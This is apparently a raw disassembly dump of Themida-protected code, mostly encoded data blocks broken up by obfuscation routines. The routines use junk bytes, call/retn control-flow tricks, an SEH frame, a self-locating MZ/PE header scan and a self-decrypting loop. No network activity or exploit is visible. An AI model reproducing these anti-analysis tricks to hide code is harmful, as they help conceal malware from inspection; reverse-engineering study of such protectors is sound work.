--------------------------------------------------------------------------- mov [ebp+6120111h], edi cld mov eax, 0 jmp loc_59A927 ; --------------------------------------------------------------------------- db 0F5h, 0C7h, 52h db 0D0h, 94h, 6Dh ; --------------------------------------------------------------------------- loc_59A927: ; CODE XREF: Themida_:0059A91Cj mov edx, 0 push ebx mov [ebp+61212D1h], ecx pop edi loc_59A934: ; CODE XREF: Themida_:0059A93Ej lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_59A934 mov ebx, [ebp+6121B89h] jmp loc_59A959 ; --------------------------------------------------------------------------- imul edi, [ecx], 2F0BCF0Fh adc eax, 0C19834Fh dec ecx mov dl, 4Ch loc_59A959: ; CODE XREF: Themida_:0059A946j or eax, 88h push 0 push edx call sub_59A969 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A969 proc near ; CODE XREF: Themida_:0059A961p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_59A969 endp ; --------------------------------------------------------------------------- db 0DFh, 0C5h, 0D3h dd 0EA5EF4CEh, 33BF6616h, 0A1958BB9h, 89061209h, 121869B5h dd 58D8B06h, 6A061205h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0CD1DC350h, 11BD8B8Ch dd 50061213h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 9BDB8058h, 9E856h, 42E0000h, 588832DBh, 894A5F5Ch, 1214019Dh dd 835B5F06h, 122121BDh, 840F0006h, 3Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BC35545h, 9FF202F0h dd 9D34E79h, 0B8h, 418D8900h, 8D061209h, 124DB58Dh, 25BB6606h dd 83E1FFEFh, 121BD9BDh, 840F0006h, 43Bh, 1E059D8Bh, 0BD830612h dd 6121BD9h, 43840F01h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3E2DC356h dd 79CF6D75h, 8D014C9Eh, 612009Dh, 1BD9BD83h, 0F030612h dd 3D786h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 6639FC54h, 66E7B1BFh, 8B60FA8Bh dd 122DC9BDh, 0D98C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0E1C35343h, 55B50916h, 89061218h, 120EA59Dh dd 9E95206h, 0DA000000h, 3A784AEAh, 8FF04E44h, 4E1805Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 63C35040h dd 0BBF98BDDh, 78342F1Bh, 840FC90Ah, 129h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 37C35343h, 10139558h dd 66924635h, 858BF88Bh, 612308Dh, 8BFE8B66h, 658533DFh dd 0F5061231h, 0DE85290h, 0B6000000h, 7AD692D4h, 0EE65CF09h dd 5F469801h, 820Fh, 5F5B0000h, 7E95650h, 0C1000000h, 157E25EEh dd 905B8CC8h, 17F58D31h, 0BD890612h, 61203A9h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0C6F6C5C3h, 68FC374Ch, 476887A7h, 8B665250h, 8B310FF8h dd 81585ADEh, 84582434h, 95FF4777h, 6122379h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 76C35646h, 0D98B08CFh dd 0C8128589h, 0EE90615h, 0DE000000h, 2C5C17EBh, 0E3E85691h dd 5429C2AAh, 1B5E91Dh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 6C4B8C3h, 624131A4h dd 0A9BD8B33h, 0E8061200h, 0Bh, 0C4405A63h, 82A327CEh dd 0F8574D41h, 0A858B5Bh, 0C70615C8h, 1800h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 6C841723h, 0B71BD5E1h, 66FB8B91h, 0A689EF81h, 0C80EB58Bh dd 858B0615h, 6122AB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 64C35646h, 0EEFEDE02h, 0D3810689h, 21778EACh dd 308D858Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0D51E7EC3h, 89F8D822h, 12045195h dd 4468906h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 98C35141h, 4353E798h, 1E1DA65h, 120029B5h, 0DA8B5006h dd 0FF243489h, 15C80AB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8B660C28h dd 8A4568D8h, 810F0C30h, 4, 5BFEB750h, 0BA243481h, 6A0C2F89h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 3B88C351h, 70BE41B5h, 9529DC6Dh, 612116Dh dd 0C812858Dh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0B50A61C3h, 303F767Ah, 1C827DDh dd 122C2985h, 2DB52906h, 50061217h, 489FB8Bh, 0FF5FB724h dd 12237995h, 36E38106h, 611FB8A3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 35C35040h, 91B58901h, 0BF061221h dd 3286ED61h, 1BD985C7h, 30612h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A4B4B5C3h dd 0BD83ACBFh, 615C812h, 3D840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0E43DC355h, 0BB1579h, 0E9082DAAh, 9, 0E2E03A0Ch, 0ED8EF2ABh dd 21E98Bh, 95290000h, 6121F9Dh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 66C08B00h, 6AD98Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 7AC70DC3h, 0E9511360h dd 6, 0DC0C7689h, 0E95B8FBDh, 5, 0ABEAC504h, 0D9BD833Ah dd 306121Bh, 3E9850Fh, 870F0000h, 6, 2995BD8Bh, 9D8B0612h dd 61215C5h, 0C812BD83h, 0F000615h, 3CA84h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 2C7131B4h, 8B9600D4h, 12295DBDh, 8D9D0306h, 0FF061209h dd 15C812B5h, 0BE906h, 94C50000h, 860D9980h, 0C8B1BAC1h dd 0A995FF88h, 0E806121Ah, 6, 2A64126Bh, 95894A6Eh, 6120511h dd 6B58B5Bh, 810615C8h, 0E6CDFC3h, 106C706h, 6A000100h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0BB9CC355h, 76F6B5DEh, 40732A63h, 0CA7FF781h dd 0F507295h, 158Bh, 9E86000h, 7B000000h, 0F66CA3F9h, 4421D9Fh dd 0C9BA6659h, 34896193h, 559D8B24h, 0FF06121Ch, 15C812B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 595FF24h, 0F06121Ch, 88Fh, 8A0F5600h, 0 ; --------------------------------------------------------------------------- pop edi mov esi, [ebp+615C806h] mov di, ax mov eax, [ebp+61201A5h] mov di, 56CAh mov [esi+0C4h], eax push 0 push ecx call sub_59B02D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B02D proc near ; CODE XREF: Themida_:0059B025p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_59B02D endp ; --------------------------------------------------------------------------- mov ch, 38h mov ah, 0F9h test dl, 0FDh mov ebx, eax mov bx, si mov edx, [ebp+61209A1h] push 0 push eax call sub_59B05A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B05A proc near ; CODE XREF: Themida_:0059B052p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_59B05A endp ; --------------------------------------------------------------------------- pushf push ebx db 26h inc ebp mov edi, [ebp+6122DDDh] add edx, 4 push 0 push ebp call sub_59B082 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B082 proc near ; CODE XREF: Themida_:0059B07Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_59B082 endp ; --------------------------------------------------------------------------- stosd push 2050892Fh mov bx, 0C193h lea eax, [ebp+615DC6Fh] push 0 push edi call sub_59B0AD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B0AD proc near ; CODE XREF: Themida_:0059B0A5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_59B0AD endp ; --------------------------------------------------------------------------- movsd push ss cmp eax, 3F65967Fh xor edi, 49B52C59h mov ebx, [ebp+61200D5h] mov [esi+0B8h], eax push 0 push ebx call sub_59B0E1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B0E1 proc near ; CODE XREF: Themida_:0059B0D9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_59B0E1 endp ; --------------------------------------------------------------------------- sbb bl, [ecx-5AD4DE79h] fstp tbyte ptr ds:0F7A4CF81h push cs pop ds assume ds:nothing mov ebx, [ebp+61200F5h] push 0 push 0 push eax call sub_59B112 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B112 proc near ; CODE XREF: Themida_:0059B10Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_59B112 endp ; --------------------------------------------------------------------------- dw 0B7BCh dd 0ECE253F8h, 49579691h, 3D1319BBh, 12B5FF1Ch, 890615C8h dd 122BD98Dh, 0A595FF06h, 6A061206h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 56ECC357h dd 7F286C5Dh, 0EBB66050h, 8961F38Bh, 0BD8B2434h, 61208D1h dd 0C812B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 58C43C3h, 0CC0DAFBFh, 8195FF39h dd 6A061202h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0D658C350h, 31BD8BE0h, 8306122Dh dd 122A09BDh, 840F0006h, 4Fh, 0D9BF0F57h, 799D895Fh, 5006121Ch dd 9E8h, 91548D00h, 0D2976ACEh, 50608D8Eh, 5A310F52h, 895F6158h dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 763E3CC3h, 0FA21D4DBh, 0ADBD89E9h, 0FF061219h dd 15C812B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 99BD8B26h, 0FF061222h, 1218C195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 2054D624h, 0B3C34202h, 12B5FF47h, 0BF0615C8h dd 5DA3B248h, 1BA195FFh, 0B70F0612h, 0B1BD83FEh, 206121Eh dd 1B840Fh, 9D090000h, 6121A39h, 3A5858Bh, 9D2B0612h, 61219C5h dd 8B0000C6h, 1212219Dh, 5985C706h, 6121Bh, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8B88C353h, 1B501FAh, 0E906121Bh, 0FFFFF44Fh dd 20059D89h, 0C18B0612h, 8E8h, 2BBDA000h, 46113E31h, 0F78166B6h dd 0BA5FD880h, 0F00E0000h, 0EA81h, 0C283F000h, 5958914h dd 83061204h, 858D14EAh, 617498Fh, 35FF6450h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_59B338: ; CODE XREF: Themida_:0059B35Aj cmp word ptr [eax], 5A4Dh jnz loc_59B355 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_59B35F loc_59B355: ; CODE XREF: Themida_:0059B33Dj sub eax, 1000h jmp loc_59B338 ; --------------------------------------------------------------------------- loc_59B35F: ; CODE XREF: Themida_:0059B34Fj mov ecx, eax mov [ebp+6120895h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+612201Dh], edx mov edx, [eax+50h] mov [ebp+6120DDDh], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+6122921h], edx add edx, [eax+8] mov [ebp+6122C3Dh], edx pop large dword ptr fs:0 add esp, 4 jmp loc_59B3B8 ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_59B3B8: ; CODE XREF: Themida_:0059B3A0j cmp dword ptr [ebp+6120D99h], 0 jz loc_59B3E9 mov byte ptr [ebp+6122871h], 47h push 0D49AA7D2h push dword ptr [ebp+61230E9h] lea eax, [ebp+6157F35h] call eax push 0 call eax mov [ebp+6122909h], eax loc_59B3E9: ; CODE XREF: Themida_:0059B3BFj mov edx, ebx call sub_59B3FC pop ebp mov ds:2772E3B0h, eax pop ss mov eax, 46BE1FD8h ; =============== S U B R O U T I N E ======================================= sub_59B3FC proc near ; CODE XREF: Themida_:0059B3EBp ; FUNCTION CHUNK AT 0059B4F9 SIZE 00000005 BYTES mov esi, 60F24D78h pop eax pusha jl loc_59B40B mov edi, eax loc_59B40B: ; CODE XREF: sub_59B3FC+7j js loc_59B417 jns $+6 loc_59B417: ; CODE XREF: sub_59B3FC:loc_59B40Bj popa add eax, 6793h movzx edi, bx push 19B4h jmp loc_59B439 ; --------------------------------------------------------------------------- db 58h dd 0FEE96267h, 0A1F895C7h, 0BA5D6C80h ; --------------------------------------------------------------------------- movsd loc_59B439: ; CODE XREF: sub_59B3FC+2Aj pop ebx sbb cx, 2151h loc_59B43F: ; CODE XREF: sub_59B3FC+A3j push dword ptr [eax] and cx, 0CA9Ah pop edx xor edx, 6DCBCB45h clc sub edx, 4A1CD139h mov ch, bl add edx, 3BFA7733h sbb ecx, 13A764C5h push edx mov cx, 431h pop dword ptr [eax] stc sub eax, 3 pusha mov si, 7590h jp loc_59B479 clc loc_59B479: ; CODE XREF: sub_59B3FC+76j popa dec eax mov edi, edx dec ebx jnz loc_59B49D or di, 0F5ABh jmp loc_59B4B7 ; --------------------------------------------------------------------------- dw 0CCA7h dd 77DA2B70h, 0EDF8014Eh, 0AC70F745h ; --------------------------------------------------------------------------- xchg eax, esp loc_59B49D: ; CODE XREF: sub_59B3FC+82j mov ch, 0ACh jmp loc_59B43F ; --------------------------------------------------------------------------- dd 0D7AF8643h, 20A487A6h, 0F69365F2h, 905406F4h ; --------------------------------------------------------------------------- jg short loc_59B4F9 icebp loc_59B4B7: ; CODE XREF: sub_59B3FC+8Dj lea ecx, [ebp+6174B81h] jo $+6 mov [ebp+61209A1h], ecx push 0 push edx call sub_59B4D4 and [edx-3Dh], bl sub_59B3FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_59B4D4 proc near ; CODE XREF: sub_59B3FC+D0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_59B4D4 endp ; --------------------------------------------------------------------------- dd 6F75D079h, 8D4D4734h, 85C7C28Ah, 6120505h, 72A4h db 6Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3FC loc_59B4F9: ; CODE XREF: sub_59B3FC+B8j add [ebp-18h], dl add eax, [eax] ; END OF FUNCTION CHUNK FOR sub_59B3FC ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- and [ebp-3Dh], bl pop ebp mov [esp+4], ebp add dword ptr [esp+4], 1Ah inc ebp push ebp retn ; --------------------------------------------------------------------------- pop es inc eax jmp short loc_59B518 ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- loc_59B518: ; CODE XREF: Themida_:0059B515j popa shr al, 12h ; --------------------------------------------------------------------------- dd 9D000000h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh dd 65858BE5h, 5A061215h, 68A0Fh, 85310000h, 6122C2Dh, 1BD985C7h dd 612h, 0C3810000h, 5DF4AED2h, 6840Fh, 0B5890000h, 612264Dh dd 2381B5FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0FAE887C3h, 0D3DCBA1Ah, 1B3195FFh dd 0D18B0612h, 95FF006Ah, 61219CDh, 39EBC08Bh, 679661B1h dd 775E0B40h, 4D55E2F2h, 2BE260A3h, 245FF62Ch, 0CCBB3A49h dd 2DB757A4h, 65E95B30h, 0C1251358h, 63A0195Fh, 0DADFCE2Ch dd 0BA3046F3h, 0FEA7FCBAh, 133BFEF5h, 528D8D3Eh, 0BB06174Ch dd 0B98B521h, 299BD8Bh, 8D890612h, 61209A1h, 85C714B4h dd 6120505h, 58F8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 80C35747h, 0B6AA8F37h, 507D1E96h, 1BD985C7h dd 612h, 85090000h, 61223F9h, 0CD1B5FFh, 66600612h, 0C24FEF81h dd 3195FF61h, 6A06121Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 812DC356h, 922A806Fh dd 0FF006ADCh, 1219CD95h, 0EBC08B06h, 524B0D69h, 13A7176Ch dd 0E12989EAh, 0B8B6C4E8h, 0D1B11571h, 0F936D48Ah, 0CB608250h dd 0BB424A74h, 0FDCEFA74h, 59CC3E52h, 0EEBABC18h, 3E3F8488h dd 23FD3917h, 1A610D62h, 937A801Fh, 0C2367F9Dh, 7BF05BDh dd 0C794F209h, 0F0C17DBh, 456D7BF8h, 6ADC2377h, 89988A8Dh dd 9058CC8Fh, 0C2C694F3h, 0CE6B4D2Dh, 6F24F55Ch, 0FB2FA2EDh dd 0C08FF7DEh, 5B13A96Dh, 0C0E03FDEh, 4349A16Dh, 0D27C3070h dd 6FBE2B1Eh, 0D48C35B6h, 8256566Bh, 6A67A938h, 0D2D32668h dd 0D26CA7E2h, 4F792479h, 0D46E8C64h, 8A66F194h, 0C5439FE8h dd 0A64F2479h, 6AF4727Ch, 0D2D32668h, 0D26CA7E2h, 4F792479h dd 0D46E8895h, 8A66F194h, 0D29E3082h, 0E9F2926Bh, 1BA54C3h dd 940EAB6Dh, 8B03A1E1h, 5BE169B5h, 0C053D7D6h, 0B8FDA96Dh dd 0D176736Bh, 0F24F226Bh, 5BFEE132h, 53D70627h, 0CBED062Fh dd 93F4226Bh, 4913E13Ah, 0D14D5672h, 7A46AE0Dh, 0CECB2D6Fh dd 0DBA7226Fh, 0C0C8ABDEh, 0A354A16Dh, 0D2F23062h, 0D23DA664h dd 0D257226Bh, 0D29DCA3Eh, 8F6F226Bh, 0BE2E7FA8h, 9652264Fh dd 0D2FF264Fh, 87B1226Bh, 0F960F7A8h, 0D23EC482h, 879E486Bh dd 0D24F2183h, 11FA026Bh, 0F6BFAB36h, 0F6ADA36Fh, 0D2F43E6Fh dd 112F676Bh, 94B3BF9Bh, 0BCC0728Eh, 0F54F9C1Dh, 65A8206Bh dd 356AFB2h, 0B8EF3719h, 0D11C756Bh, 0F27A226Bh, 5B62E134h dd 539A0617h, 0C54B062Fh, 95A7226Bh, 68DEE13Ch, 0B289B09Eh dd 0DB0E9D64h, 0C06FFFE6h, 3A6B436Dh, 0D29E2267h, 0D0EE4883h dd 55862912h, 0A9C00412h, 2D887833h, 5A4D75BBh, 8B03A41Eh dd 5632E2EEh, 0D29E22CDh, 0EACEDBE0h, 2926443Ch, 0D2E2A764h dd 51E6226Bh, 0D2F42272h, 0D27A3682h, 0F1DFCA6Bh, 0CDF3E732h dd 86741B96h, 72DECB9Ch, 3911AE8h, 0AA6844DEh, 0DDF6206Fh dd 0D27940EFh, 0D2B12D6Bh, 0B49E226Bh, 0B2D31AEAh, 0D2FBA764h dd 0D43B226Bh, 5DE9226Bh, 2588893Fh, 9FCF13CAh, 893B3079h dd 3A9C5AEBh, 0D20FA764h, 1F27226Bh, 0AA52447Ah, 0DD42226Dh dd 0D2F413EEh, 0D892426Bh, 263D226Bh, 8E27F7C4h, 3AD3F885h dd 0D2A8CAD2h, 0F7FE226Bh, 0E8D73A10h, 0A40144A1h, 736E6C8Bh dd 0B3627DEFh, 0D29CD882h, 1CE446Bh, 0D2194BDEh, 0B895236Ah dd 0D101726Bh, 0F2F4226Bh, 5B22E133h, 5339062Fh, 0C99A062Fh dd 924F226Bh, 399DE13Bh, 0E71EF8h, 0DF0023B6h, 0CEF4226Bh dd 3270A8ECh, 728D68F9h, 9F5FE13Bh, 0A09EA7E6h, 2D5B247Eh dd 0D2DDCBBBh, 53C0226Bh, 56945738h, 7892353Ch, 2A29D5F2h dd 5691E2EEh, 0D24F2034h, 3AF62201h, 0D2D32268h, 8B2A7B4Bh dd 0D6D06EE2h, 0D65E66EAh, 0D23D2272h, 0C65D732Ah, 0F3CCF589h dd 4332AB24h, 53D53062h, 0D0D44453h, 54712D69h, 0B87A226Bh dd 0D1D5706Bh, 0F29E226Bh, 5B15E131h, 53A3063Fh, 0C7D7062Fh dd 90E9226Bh, 0EAEE139h, 0AAFB51DDh, 8D00446Dh, 0EA1A2D11h dd 0B84F2269h, 0D14F706Bh, 0F2D3226Bh, 5BB3E131h, 53F0063Fh dd 0C87E062Fh, 903D226Bh, 0D3EEE139h, 36D46E1h, 0D2ABCA7Eh dd 0FF9E226Bh, 49FC0195h, 3025FB4Eh, 0DB939D99h, 53D226Bh dd 0E8D939AEh, 7922FBE2h, 0D2B4CB31h, 8FE1226Bh, 0A3C30BBBh dd 0C886DE9Ch, 0EDC1C929h, 7A6FAD84h, 0EA1F444Ch, 574042F7h dd 0D2A7220Dh, 3A852201h, 0D2E92268h, 8C377C4Bh, 0D65E56E2h dd 0D61966EAh, 0D29E227Ch, 58C742Dh, 0B4B76D67h, 5202DDD0h dd 0DD012013h, 0D2F41BEEh, 8EC1446Bh, 0AABC4449h, 0DD5E226Dh dd 0D24F0BEEh, 42C446Bh, 0D2D2AC82h, 83E9486Bh, 0D2F42183h dd 1123026Bh, 0F671AB32h, 0F6DAA36Fh, 0D24F346Fh, 11F6636Bh dd 0DDEA9BF3h, 0D257FADCh, 0DD8A236Ah, 57F7DCD4h, 0D42850BAh dd 3AC92201h, 0D24F2268h, 8D647D4Bh, 0D6F75EE2h, 0D6CD66EAh dd 0D2F4227Dh, 7DB9752Ch, 2C2ED74h, 0C197AFE0h, 12CA2479h dd 0D25EA664h, 0EA53226Bh, 796C2D83h, 0B8F4226Bh, 0D192776Bh dd 0F23D226Bh, 5BC3E136h, 534B0607h, 0C7A3062Fh, 97D3226Bh dd 4178E13Eh, 0CC51B7E2h, 65752479h, 0DF800BA5h, 52983074h dd 0DD3C2713h, 0D2A757EEh, 87D3486Bh, 0D2E92183h, 11A9026Bh dd 0F616AB36h, 0F679A36Fh, 0D29E3B6Fh, 111A676Bh, 9E697944h dd 3AB3E6D4h, 0D2E92260h, 0C08EEB3Eh, 0AE5DE3B6h, 0F9342438h dd 0C0B4E7F6h, 6B29786Dh, 52C611A3h, 0DD802513h, 0D2E988EFh dd 87F4486Bh, 0D27A2183h, 1160026Bh, 0F6F2AB36h, 0F60BA36Fh dd 0D2A73E6Fh, 1186676Bh, 0A91B44AAh, 0B26DDFD4h, 7F7A913h dd 523B3071h, 53F8669Ch, 0DD4AAD53h, 0D2A718EEh, 0F912A36Bh dd 52AE0F85h, 0DD9C2413h, 0D27A08EEh, 0D234CB6Bh, 2E1D226Bh dd 2F354035h, 0B4B37D4Dh, 2DD85AEAh, 0C26C2D4Eh, 59F4226Bh dd 0C05947D6h, 0D200CB6Dh, 53F8226Bh, 6A0AC38Ah, 0D2A7226Bh dd 3A842201h, 0D2E92268h, 8D377D4Bh, 0D65E5EE2h, 0D61966EAh dd 0D29E227Fh, 8C8C752Ch, 7999E9EAh, 6F583C64h, 0D4FB3D82h dd 0D2F43682h, 0D2FB2D6Bh, 6A3D226Bh, 0D29E226Ah, 0CC5EA7E2h dd 59C12479h, 285872BBh, 0B8CD26E2h, 0D11C736Bh, 0F27A226Bh dd 5B64E132h, 539A0627h, 0CF4B062Fh, 93A7226Bh, 5797E13Ah dd 811E4C2Ah, 54B99478h, 9EBA9FE6h, 5FB0247Ch, 0D4897065h dd 0B41A01D3h, 5722211Ch, 0F9D53078h, 0D257E3A4h, 0DD8A236Ah dd 57F7DCD4h, 0D42850BAh, 3AC92201h, 0D24F2268h, 8D647D4Bh dd 0F305E983h, 0CF8B58A4h, 1F1D8D09h, 6A0612h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0FA23D5C3h, 29491A83h, 122C018Dh, 0FC00B06h, 2684h dd 0C88B6600h, 7498589h, 0B58D0612h, 6124DB5h, 2C2D8D8Bh dd 3B80612h, 0F000000h, 186h, 0E6FFF500h, 40CB8B66h, 2E25B501h dd 42B70612h, 8B50C08Bh, 1215F58Dh, 0BD835906h, 6121B91h dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h, 403B8h dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h dd 61217h, 53501774h, 403B8h, 95858900h, 8D061222h, 14AB179Dh dd 5BD3FF06h, 99B58958h, 50061206h, 6AC08B59h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0F195C355h, 20E6C1BAh, 11E8A4h, 37B80000h dd 0AC783C37h, 0D09F935Ch, 0A0988BFBh, 0F0CCA68h, 6159DEB7h dd 13E8h, 42A4D900h, 1EFE8E05h, 0AC131155h, 90E58669h dd 0CD28FAA6h, 74B85BF5h, 8154F6C9h, 75B8C3h, 0F633FC00h dd 0F1E34FFh, 48Bh, 6BBF6600h, 85095A25h, 612000Dh, 3E2FC281h dd 0B70F75D8h, 0E8C281FFh, 667CEC8Eh, 0E1E8F181h, 23D2EA81h dd 0A6B95276h, 52019F8Dh, 0F58D8Bh, 48F0612h, 0E58D2333h dd 0E8061201h, 6, 34F26920h, 0BD8BF478h, 6122269h, 3EE8358h dd 7299F781h, 664E503Dh, 812EEFB8h, 0FF8ADCFEh, 91850FFFh dd 8BFFFFFFh, 12018D85h, 0D58D8D06h, 6A061754h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0B9E8C353h, 1E4BE969h, 5E998h, 0B6B00000h, 89E4F51Ch dd 1209A18Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0BE351818h, 0BD897D1Ch, 6121691h dd 50585C7h, 731C0612h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 73944EC3h, 85C77F0Ah dd 6121BD9h, 0 ; --------------------------------------------------------------------------- jmp loc_59BE87 ; --------------------------------------------------------------------------- db 91h, 0A9h, 0EAh dd 0FA049F27h, 0E3AFD2FEh db 0A3h, 1Eh, 20h ; --------------------------------------------------------------------------- loc_59BE87: ; CODE XREF: Themida_:0059BE74j push dword ptr [ebp+612050Dh] push 0 push edi call sub_59BE98 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59BE98 proc near ; CODE XREF: Themida_:0059BE90p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_59BE98 endp ; --------------------------------------------------------------------------- dd 59915907h, 0CD9B7D2Bh, 29E58589h, 95FF0612h, 6121B31h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BC35040h dd 0FE5A596Eh, 9D292D32h, 6120449h, 95FF006Ah, 61219CDh dd 9EBC08Bh, 6FFD6D1h, 0B15A5AFDh, 712ADE68h, 4B46D4D4h dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h dd 0E42EF5Eh, 4E60338Ah, 0A5E4FFB4h, 16DAF867h, 0A3BEA08Ah dd 20262CADh, 0A3BA7967h, 2021E4ADh, 2BAAD71Bh, 2933338Ah dd 2633831Dh, 0D5B6C098h, 7635B1CCh, 72D6D615h, 0D963AF8Fh dd 3403E10Dh, 2664839Eh, 23593598h, 72C61F15h, 0AB634B8Fh dd 3167431Dh, 0B3CC039Eh, 2021B9C1h, 0A23C1493h, 26336AA1h dd 72C6B015h, 0CE639C8Fh, 26334DAAh, 0A3BEF6D8h, 20240763h dd 0D3B624C8h, 7635C3CCh, 542FF67h, 0E2B0338Ah, 0D3B61794h dd 76355ACCh, 72D62315h, 0D963558Fh, 34039C0Dh, 26513D9Eh dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h dd 72D08815h, 